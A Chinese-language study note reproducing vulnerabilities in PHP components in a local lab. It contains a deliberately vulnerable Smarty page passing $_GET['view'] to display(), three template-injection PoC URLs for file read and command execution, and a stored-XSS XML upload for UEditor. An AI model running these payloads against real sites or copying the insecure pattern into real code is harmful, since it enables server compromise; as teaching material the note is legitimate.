模板&编辑器(PHP)(小迪网络安全笔记~

免责声明:本文章仅用于交流学习,因文章内容而产生的任何违法&未授权行为,与文章作者无关!!!
附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!

1.4 🐘模板&编辑器(PHP)

  1. 引子:本章对PHP Web中所使用的组件及由组件可能产生的安全问题简单做一介绍,其中所介绍组件为,模板引擎Smarty和富文本编辑器UEditor。

  2. Smarty

    1. 什么是Smarty?

      我们来看官方给出的介绍,Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. → 简单来说,就是在PHP Web开发中,可能会用到的第三方组件,该组件实现了模板引擎的功能。

      这里再顺带介绍一下模板引擎,模板引擎的出现是为了分离一套源码中的表现层与应用程序代码。在开发时,可以使页面设计者与后端开发者分别专注于其本职工作,无需考虑其他,而当开发者想要修改模板或应用逻辑时,也无需额外考虑相互影响的问题。

    2. 接下来,通过简单的demo,来认识一下Smarty:

      注:1. Smarty支持PHP版本为 7.1 - 8.3。2. Smarty下载地址:https://github.com/smarty-php/smarty。3. 本文使用Smarty版本为3.1.38 & 4.5.5,PHP版本为7.3.4。

      html 复制代码
      {* Smarty *}
      <!DOCTYPE html>
      <html lang="zh-CN">
      <head>
          <meta charset="UTF-8">
          <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title>{$title}</title>
          <style>
              body {
                  margin: 0; display: flex; justify-content: center; align-items: center;
                  height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;
              }
              h1 { color: #4caf50; }
              .elephant { font-size: 100px; }
          </style>
      </head>
      <body>
          <h1>{$body}</h1>
          <div class="elephant">{$pic}</div>
      </body>
      </html>
      {* Smarty *}
      <!DOCTYPE html>
      <html lang="zh-CN">
      <head>
          <meta charset="UTF-8">
          <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title>{$title}</title>
          <style>
              body {
                  margin: 0; display: flex; justify-content: center; align-items: center;
                  height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;
              }
              h1 { color: #4caf50; }
              .elephant { font-size: 100px; }
          </style>
      </head>
      <body>
          <h1>{$body}</h1>
          <div class="elephant">{$pic}</div>
      </body>
      </html>

      该文件为前端页面文件,可以看到由html+css组成,且其标签中的值内容被替换为 {$变量名} ,用于smarty渲染。

      php 复制代码
      <?php
      require '../smarty/smarty-3.1.38/libs/Smarty.class.php';
      
      $smarty = new Smarty();
      
      $smarty->setTemplateDir('./templates');
      $smarty->setCompileDir('./templates_c');
      $smarty->setConfigDir('./configs');
      $smarty->setCacheDir('./cache');
      //$smarty->testInstall();
      
      $smarty->assign('title', 'Elephant');
      $smarty->assign('body', '这是一只可爱的大象!');
      $smarty->assign('pic', '🐘');
      
      $smarty->display('smarty3demo.tpl');

      该文件为smarty配置文件,使用smarty版本为3.1.38,其中templates目录存放需要渲染的页面文件,templates_c目录存放前端页面文件经smarty模板引擎渲染后的编译文件,assign用于替换页面文件中的变量,display用于指定需要渲染的页面文件。

      对smarty配置文件而非前端页面文件进行访问,访问结果如下:

      由smarty官方可知,最终为用户所提供页面的文件,并非用户所访问的smarty配置文件,也非templates目录下的页面文件,而是templates_c目录下被渲染后的编译文件,我们来看一下该编译文件:

      php 复制代码
      <?php
      /* Smarty version 3.1.38, created on 2025-01-16 20:27:18
        from 'D:\phpstudy_pro\WWW\PraDevelopment\phpdemo\element\smarty3demo\templates\smarty3demo.tpl' */
      
      /* @var Smarty_Internal_Template $_smarty_tpl */
      if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array (
        'version' => '3.1.38',
        'unifunc' => 'content_6788fb268b7b73_02769173',
        'has_nocache_code' => false,
        'file_dependency' => 
        array (
          'b704768be782dee972aac461ba4c6236eed18d66' => 
          array (
            0 => 'D:\\phpstudy_pro\\WWW\\PraDevelopment\\phpdemo\\element\\smarty3demo\\templates\\smarty3demo.tpl',
            1 => 1737012300,
            2 => 'file',
          ),
        ),
        'includes' => 
        array (
        ),
      ),false)) {
      function content_6788fb268b7b73_02769173 (Smarty_Internal_Template $_smarty_tpl) {
      ?><!DOCTYPE html>
      <html lang="zh-CN">
      <head>
          <meta charset="UTF-8">
          <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title><?php echo $_smarty_tpl->tpl_vars['title']->value;?>
      </title>
          <style>
              body {
                  margin: 0; display: flex; justify-content: center; align-items: center;
                  height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;
              }
              h1 { color: #4caf50; }
              .elephant { font-size: 100px; }
          </style>
      </head>
      <body>
          <h1><?php echo $_smarty_tpl->tpl_vars['body']->value;?>
      </h1>
          <div class="elephant"><?php echo $_smarty_tpl->tpl_vars['pic']->value;?>
      
      </div>
      </body>
      </html>
      <?php echo "sjjjer"?>
      <?php }
      }

      编译后的文件为.php文件,在该文件中加入 <?php echo "sjjjer"?>,再次尝试访问smarty配置文件:

    3. ok,认识完smarty后,接下来我们聊一下使用smarty可能产生的安全问题。

      已知template_c下的php文件为最终提供服务文件,若渲染的页面文件用户可控,那我们是不是就可以利用模板引擎渲染执行我们所指定的命令呢?

      思路有了,我们来修改一下smarty配置文件,使display中的值也就是渲染文件可控:

      php 复制代码
      <?php
      
      require '../smarty/smarty-3.1.38/libs/Smarty.class.php';
      
      $smarty = new Smarty();
      
      $smarty->setTemplateDir('./templates');
      $smarty->setCompileDir('./templates_c');
      $smarty->setConfigDir('./configs');
      $smarty->setCacheDir('./cache');
      //$smarty->testInstall();
      
      $smarty->assign('title', 'Elephant');
      $smarty->assign('body', '这是一只可爱的大象!');
      $smarty->assign('pic', '🐘');
      
      //$smarty->display('smarty3demo.tpl');
      $smarty->display($_GET['view'].'.tpl');

      修改可控参数,实现任意文件读取,测试poc:

      bash 复制代码
      /Smarty3Demo1.php?view=string:{include file='D:/ser.txt'}

      Result:

      实现命令执行,测试poc:(注:实现该poc,需smarty版本 < 3.1.39)

      php 复制代码
      /Smarty3Demo1.php?view=string:{function name='x(){};system(whoami);function '}{/function}

      Result:

      同样实现命令执行,测试smarty版本:3.1.18 & 4.5.5,测试poc:

      bash 复制代码
      /Smarty4Demo2.php?view=string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

      Result:

    本文对基于smarty所产生的安全问题介绍的比较简单,主要是漏洞复现,poc也仅列举了3个。若想进一步了解,可参考:https://xz.aliyun.com/t/11108

  3. UEditor

    1. 什么是UEditor?

      UEditor是由百度web前端研发部开发的富文本web编辑器。只不过目前已停止更新维护,最新版本也停留在了2016年8月10日所发布的1.4.3.3版本,项目地址:https://github.com/fex-team/ueditor

      同样,通过简单的demo,来了解一下UEditor编辑器:

      html 复制代码
      <!DOCTYPE HTML>
      <html lang="en-US">
      <head>
      	<meta charset="UTF-8">
      	<title>ueditor demo</title>
      </head>
      <body>
      	<!-- 加载编辑器的容器 -->
      	<script id="container" name="content" type="text/plain"></script>
      	<!-- 配置文件 -->
      	<script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.config.js"></script>
      	<!-- 编辑器源码文件 -->
      	<script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.all.js"></script>
      	<!-- 实例化编辑器 -->
      	<script type="text/javascript">
      	    var ue = UE.getEditor('container');
      	</script>
      </body>
      </html>

      访问该文件,就可以看到被引用的UEditor编辑器:

    2. UEditor的安全问题

      由于笔者本人水平有限,因此这里仅对由UEditor文件上传导致存储XSS漏洞做一复现(复现完,感觉这洞比较low啊。。。)。若想详细了解UEditor的安全问题,可以在网上找找别的大佬的文章。

      UEditor版本,php v1.4.3.3:

      burp抓一个图片上传数据包:

      接下来,我们尝试修改一下数据包,上传一些其他类型的文件:

      访问一下刚上传的test.xml文件:

      这里给出插入代码:

      xml 复制代码
      <html xmlns="http://www.w3.org/1999/xhtml">
          <script type="text/javascript">
            // 当页面加载时,触发弹窗
            window.onload = function () {
              alert("FBI WARNING!!!");
            };
          </script>
      </html>

      至此,漏洞复现完成!至于为什么我感觉这洞比较low呢,是因为上传的文件类型仍有限制,不是你想传什么文件就传什么文件,文件上传类型遵循如下白名单:

      可以看到.xml文件就在白名单中,也就是说,即使不搞上面的那些花哨操作,直接上传含有恶意代码的.xml文件也是可以实现存储XSS的,而一旦从白名单中将.xml删除,上面的操作也会失效。至于该漏洞的应用场景,可能为开发者隐藏掉了ueditor中的附件上传选项,且白名单未做限制的情况吧。

    至此,本章内容结束!

相关推荐
BingoGo2 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher16 小时前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack1 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack3 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行4 天前
网络安全总结
安全·web安全